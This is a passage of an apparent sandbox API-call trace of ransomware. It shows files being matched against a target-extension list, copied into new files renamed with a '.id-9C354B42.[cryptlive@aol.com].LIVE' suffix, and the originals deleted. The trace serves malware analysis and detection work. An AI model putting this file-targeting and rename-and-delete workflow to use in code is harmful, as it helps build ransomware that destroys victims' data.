(lpString1=".7z", lpString2="cab") returned -1 [0054.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.537] lstrlenW (lpString=".dbf") returned 4 [0054.537] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.537] lstrlenW (lpString=".1cd") returned 4 [0054.537] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.537] lstrlenW (lpString=".jpg") returned 4 [0054.537] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.537] lstrcmpiW (lpString1=".sys", lpString2=".LIVE") returned 1 [0054.537] lstrlenW (lpString="pagefile.sys") returned 12 [0054.537] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.537] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.537] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.537] lstrlenW (lpString=".doc") returned 4 [0054.537] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0054.537] lstrlenW (lpString=".docx") returned 5 [0054.537] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0054.537] lstrlenW (lpString=".pdf") returned 4 [0054.537] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0054.537] lstrlenW (lpString=".xls") returned 4 [0054.538] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0054.538] lstrlenW (lpString=".xlsx") returned 5 [0054.538] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0054.538] lstrlenW (lpString=".ppt") returned 4 [0054.538] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0054.538] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.538] lstrlenW (lpString=".zip") returned 4 [0054.538] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0054.538] lstrlenW (lpString=".rar") returned 4 [0054.538] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0054.538] lstrlenW (lpString=".bz2") returned 4 [0054.538] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0054.538] lstrlenW (lpString=".7z") returned 3 [0054.538] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0054.538] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.538] lstrlenW (lpString=".dbf") returned 4 [0054.538] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0054.538] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.538] lstrlenW (lpString=".1cd") returned 4 [0054.538] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0054.538] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.538] lstrlenW (lpString=".jpg") returned 4 [0054.538] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0054.538] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.538] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.538] lstrlenW (lpString=".doc") returned 4 [0054.538] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0054.538] lstrlenW (lpString=".docx") returned 5 [0054.538] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0054.539] lstrlenW (lpString=".pdf") returned 4 [0054.539] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0054.539] lstrlenW (lpString=".xls") returned 4 [0054.539] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0054.539] lstrlenW (lpString=".xlsx") returned 5 [0054.539] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0054.539] lstrlenW (lpString=".ppt") returned 4 [0054.539] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0054.539] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.539] lstrlenW (lpString=".zip") returned 4 [0054.539] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0054.539] lstrlenW (lpString=".rar") returned 4 [0054.539] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0054.539] lstrlenW (lpString=".bz2") returned 4 [0054.539] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0054.539] lstrlenW (lpString=".7z") returned 3 [0054.539] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0054.539] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.539] lstrlenW (lpString=".dbf") returned 4 [0054.539] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0054.539] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.539] lstrlenW (lpString=".1cd") returned 4 [0054.539] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0054.539] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0054.539] lstrlenW (lpString=".jpg") returned 4 [0054.539] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0054.539] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0054.539] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0054.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0054.541] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=99136) returned 1 [0054.541] CloseHandle (hObject=0x200) returned 1 [0054.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0054.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0054.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0054.541] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.541] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.542] GetLastError () returned 0x0 [0054.542] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x18340, lpOverlapped=0x0) returned 1 [0054.545] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x18350, lpOverlapped=0x0) returned 1 [0054.548] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.548] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.548] SetEndOfFile (hFile=0x20c) returned 1 [0054.548] CloseHandle (hObject=0x20c) returned 1 [0054.548] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.548] SetEndOfFile (hFile=0x200) returned 1 [0054.550] CloseHandle (hObject=0x200) returned 1 [0054.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0054.550] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0054.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.550] lstrlenW (lpString=".doc") returned 4 [0054.550] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.550] lstrlenW (lpString=".docx") returned 5 [0054.550] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0054.550] lstrlenW (lpString=".pdf") returned 4 [0054.550] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.550] lstrlenW (lpString=".xls") returned 4 [0054.551] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.551] lstrlenW (lpString=".xlsx") returned 5 [0054.551] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0054.551] lstrlenW (lpString=".ppt") returned 4 [0054.551] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.551] lstrlenW (lpString=".zip") returned 4 [0054.551] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.551] lstrlenW (lpString=".rar") returned 4 [0054.551] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.551] lstrlenW (lpString=".bz2") returned 4 [0054.551] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.551] lstrlenW (lpString=".7z") returned 3 [0054.551] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.551] lstrlenW (lpString=".dbf") returned 4 [0054.551] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.551] lstrlenW (lpString=".1cd") returned 4 [0054.551] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.551] lstrlenW (lpString=".jpg") returned 4 [0054.551] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.551] lstrlenW (lpString=".doc") returned 4 [0054.551] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.551] lstrlenW (lpString=".docx") returned 5 [0054.551] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0054.551] lstrlenW (lpString=".pdf") returned 4 [0054.551] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.551] lstrlenW (lpString=".xls") returned 4 [0054.551] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.551] lstrlenW (lpString=".xlsx") returned 5 [0054.551] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0054.552] lstrlenW (lpString=".ppt") returned 4 [0054.552] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.552] lstrlenW (lpString=".zip") returned 4 [0054.552] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.552] lstrlenW (lpString=".rar") returned 4 [0054.552] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.552] lstrlenW (lpString=".bz2") returned 4 [0054.552] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.552] lstrlenW (lpString=".7z") returned 3 [0054.552] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.552] lstrlenW (lpString=".dbf") returned 4 [0054.552] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.552] lstrlenW (lpString=".1cd") returned 4 [0054.552] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0054.552] lstrlenW (lpString=".jpg") returned 4 [0054.552] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.552] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0054.552] lstrlenW (lpString="DBGHELP.DLL") returned 11 [0054.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0054.559] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1369952) returned 1 [0054.559] CloseHandle (hObject=0x200) returned 1 [0054.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0054.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0054.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0054.559] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.559] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.561] GetLastError () returned 0x0 [0054.561] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0055.820] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0055.840] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0056.265] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0056.274] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.275] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.275] SetEndOfFile (hFile=0x20c) returned 1 [0056.297] CloseHandle (hObject=0x20c) returned 1 [0056.298] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.298] SetEndOfFile (hFile=0x200) returned 1 [0056.301] CloseHandle (hObject=0x200) returned 1 [0056.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.301] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0056.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.302] lstrlenW (lpString=".doc") returned 4 [0056.302] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.302] lstrlenW (lpString=".docx") returned 5 [0056.302] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0056.302] lstrlenW (lpString=".pdf") returned 4 [0056.302] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.302] lstrlenW (lpString=".xls") returned 4 [0056.302] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.302] lstrlenW (lpString=".xlsx") returned 5 [0056.302] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0056.302] lstrlenW (lpString=".ppt") returned 4 [0056.302] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.302] lstrlenW (lpString=".zip") returned 4 [0056.302] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.302] lstrlenW (lpString=".rar") returned 4 [0056.302] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.302] lstrlenW (lpString=".bz2") returned 4 [0056.302] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.302] lstrlenW (lpString=".7z") returned 3 [0056.302] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.302] lstrlenW (lpString=".dbf") returned 4 [0056.302] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.302] lstrlenW (lpString=".1cd") returned 4 [0056.302] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.302] lstrlenW (lpString=".jpg") returned 4 [0056.302] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.302] lstrlenW (lpString=".doc") returned 4 [0056.303] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.303] lstrlenW (lpString=".docx") returned 5 [0056.303] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0056.303] lstrlenW (lpString=".pdf") returned 4 [0056.303] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.303] lstrlenW (lpString=".xls") returned 4 [0056.303] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.303] lstrlenW (lpString=".xlsx") returned 5 [0056.303] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0056.303] lstrlenW (lpString=".ppt") returned 4 [0056.303] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.303] lstrlenW (lpString=".zip") returned 4 [0056.303] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.303] lstrlenW (lpString=".rar") returned 4 [0056.303] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.303] lstrlenW (lpString=".bz2") returned 4 [0056.303] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.304] lstrlenW (lpString=".7z") returned 3 [0056.304] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.304] lstrlenW (lpString=".dbf") returned 4 [0056.304] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.304] lstrlenW (lpString=".1cd") returned 4 [0056.304] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0056.304] lstrlenW (lpString=".jpg") returned 4 [0056.304] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.304] lstrcmpiW (lpString1=".manifest", lpString2=".LIVE") returned 1 [0056.304] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0056.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.305] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=566) returned 1 [0056.305] CloseHandle (hObject=0x200) returned 1 [0056.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0056.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.306] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.306] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.307] GetLastError () returned 0x0 [0056.307] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x236, lpOverlapped=0x0) returned 1 [0056.307] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x240, lpOverlapped=0x0) returned 1 [0056.308] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.308] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0056.309] SetEndOfFile (hFile=0x20c) returned 1 [0056.309] CloseHandle (hObject=0x20c) returned 1 [0056.309] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.309] SetEndOfFile (hFile=0x200) returned 1 [0056.310] CloseHandle (hObject=0x200) returned 1 [0056.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.310] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0056.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.311] lstrlenW (lpString=".doc") returned 4 [0056.311] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 